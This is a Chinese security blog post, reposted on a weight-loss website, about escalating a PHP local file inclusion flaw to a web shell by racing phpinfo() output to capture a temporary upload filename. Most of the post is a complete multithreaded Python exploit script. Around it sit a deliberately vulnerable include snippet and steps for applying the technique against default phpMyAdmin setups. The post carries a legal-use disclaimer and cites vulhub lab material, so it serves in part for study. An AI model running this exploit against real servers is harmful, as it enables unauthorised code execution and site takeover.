天天减肥网,内容丰富有趣,生活中的好帮手!
天天减肥网 > 技术讨论 | PHP本地文件包含漏洞GetShell

技术讨论 | PHP本地文件包含漏洞GetShell

时间:2022-04-30 11:13:17

相关推荐

技术讨论 | PHP本地文件包含漏洞GetShell

序言

让我们突破重重苛刻环境GetShell,文中有以phpmyadmin包含漏洞做演示。

PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。

漏洞背景

当您在发现PHP本地文件包含漏洞的时候,却尴尬于没有上传点,或者受到base_dir的限制,可以尝试用如下操作进行突破。

利用条件

1.存在PHP文件包含漏洞

2.存在PHPINFO泄漏页面,或者其他debug泄漏,获取tmp_name值

漏洞复现

演示环境:Windows + php 5.6

0x01:PHP文件上传

example:

<?phpif ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/pjpeg"))&& ($_FILES["file"]["size"] < 20000)){if ($_FILES["file"]["error"] > 0){echo "Error: " . $_FILES["file"]["error"] . "<br />";}else{echo "Upload: " . $_FILES["file"]["name"] . "<br />";echo "Type: " . $_FILES["file"]["type"] . "<br />";echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";echo "Stored in: " . $_FILES["file"]["tmp_name"];}}else{echo "Invalid file";}?>

上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本,但是并没有保存,

上传文件名以php + random(6) 进行拼接

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件

这个文件在生成的瞬间又被删除,利用条件竞争进行包含

0x02:获取临时文件名

phpinfo() 会打印出所有请求的变量,所以我们只需要向phpinfo 发送 上传文件的数据包,就可以获取到临时文件名

但是文件删除的速度很快,导致条件竞争很难利用,通过学习P牛师傅的文章,

需要用到条件竞争,具体流程如下:

1.php默认的缓冲区大小为4096,每次返回的socket连接为4096字节

2.因为phpinfo 会打印出所有接收的数据,我们需要发送垃圾数据,让Response回显的内容很大

3.利用原生的socket 建立连接,控制返回,每次只读取4096字节,只要获取到文件名,就立马发送第二个数据包

4.此时第一个socket连接并没有结束,所以可以利用这个时间差,进行条件竞争,利用文件包含漏洞进行getshell

复现

phpinfo.php

<?php phpinfo();?>

lfi.php

<?php$a=$_GET["file"];include($a);?>

利用脚本,windows 环境下 //我这边是windows 环境测试,主要修改切片获取的文件名,然后根据具体实战环境去修改REQ1 REQ2

#!/usr/bin/pythonimport sysimport threadingimport socketdef setup(host, port):TAG = "Security Test"PAYLOAD = """%s\r<?php file_put_contents("aaa.php","<?php phpinfo();?>");?>\r""" % TAGREQ1_DATA = """-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA)# modify this to suit the LFI scriptLFIREQ = """GET /ec.php?file=%s HTTP/1.1\rCookie: xxxx\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt; ")fn = d[i + 17:i + 48]print(fn)except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)print(lfireq % (fn, host))print(d)s.close()s2.close()if d.find(tag) != -1:return fncounter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print"\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d += iif i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =&gt; ")if i == -1:raise ValueError("No php tmp_name in phpinfo output")print"found %s at %i" % (d[i:i + 10], i)# padded up a bitreturn i + 256def main():print"LFI With PHPInfo()"print"-=" * 30if len(sys.argv) < 2:print"Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print"Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port = 80try:port = int(sys.argv[2])except IndexError:passexcept ValueError as e:print"Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz = 10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print"Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print"Getting initial offset...",reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print"Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0, poolsz):tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print"Woot! \m/"else:print":("except KeyboardInterrupt:print"\nTelling threads to shutdown..."e.set()print"Shuttin" down..."for t in tp:t.join()if __name__ == "__main__":main()

GetShell:

参数:target_host port thread

此时的aaa.php 并不存在,我将写入一个aaa.php 内容为

Run:

可以看到,temp已经产生了临时文件,(手快抓到的,临时文件会很快删除)

刷新访问 aaa.php

实战场景:

默认phpmyadmin,加phpinfo 探针(某主机默认建站环境)

1.利用phpmyadmin 的文件包含漏洞,

2.通过探针页面,发送上传包,获取临时文件名,

3.条件竞争 getshell

(有大哥可能会问我,为什么不包含日志等,因为我遇到了open_basedir,限制很死)

踩坑日记:

mysql写在tmp的文件,www用户无权限读取。

open_basedir 限制php包含路径。

无上传点,所以利用该漏洞进行突破极限~

PY:记得把py脚本改改,切片在windows下获取文件名 会踩坑,用re就好了,有点懒,我就简单改了一下临时用,大哥们操作的时候记得改一下。

参考

公众号:EDISEC漏洞挖掘

/papers/general/LFI_With_PHPInfo_Assitance.pdf

/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

精彩推荐

如果觉得《技术讨论 | PHP本地文件包含漏洞GetShell》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。